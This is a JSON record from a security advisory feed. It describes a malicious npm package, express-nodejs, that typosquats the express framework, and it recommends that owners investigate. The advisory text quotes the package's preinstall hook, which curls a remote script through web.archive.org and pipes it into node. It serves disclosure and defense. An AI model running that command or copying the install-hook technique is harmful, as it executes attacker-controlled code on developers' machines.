{"items":[{"id":"NVI-00009740","kind":"supply_chain_event","title":"Malicious code in express-nodejs (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-4qvj-qq37-mhw2"],"plain_summary":"GitHub lists this malware advisory for express-nodejs, express-nodejs. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-461cc32c7d67dc8b8cdebdba7ccc5038"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-461cc32c7d67dc8b8cdebdba7ccc5038","url":"https://github.com/advisories/GHSA-4qvj-qq37-mhw2","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-4qvj-qq37-mhw2","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T22:07:22.853Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-461cc32c7d67dc8b8cdebdba7ccc5038"],"technology":"express-nodejs","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (9aea7dd76028cd443cf2f8d58fa5d8b3b28bb6db870f34d1cc6dad28db92fe93)\nexpress-nodejs@5.2.1 typosquats the express framework: package.json copies express's description, author (TJ Holowaychuk), repository (expressjs/express), and homepage while publishing under a different name. The package.json preinstall lifecycle hook runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, piping a script fetched from an unrelated third-party Codeberg account (hellscripter/install-scripts) on a mutable branch, laundered through web.archive.org, directly into the node interpreter on the installer's host. This executes arbitrary attacker-controlled code at `npm install` time with no pinning, no integrity check, and no relationship to the express project. The fetched payload is mutable and its contents are not shipped in the tarball.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.1"]},{"certainty":"source_listed","source_ids":["sr-461cc32c7d67dc8b8cdebdba7ccc5038"],"technology":"express-nodejs","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (9aea7dd76028cd443cf2f8d58fa5d8b3b28bb6db870f34d1cc6dad28db92fe93)\nexpress-nodejs@5.2.1 typosquats the express framework: package.json copies express's description, author (TJ Holowaychuk), repository (expressjs/express), and homepage while publishing under a different name. The package.json preinstall lifecycle hook runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, piping a script fetched from an unrelated third-party Codeberg account (hellscripter/install-scripts) on a mutable branch, laundered through web.archive.org, directly into the node interpreter on the installer's host. This executes arbitrary attacker-controlled code at `npm install` time with no pinning, no integrity check, and no relationship to the express project. The fetched payload is mutable and its contents are not shipped in the tarball.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.2"]}],"null_published_at":"2026-10-31T22:13:39.932Z","source_updated_at":"2026-10-06T00:34:12.000Z","source_disclosed_at":"2026-09-29T15:31:02.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T22:07:22.853Z"}],"next_cursor":null,"snapshot_revision":"42594"}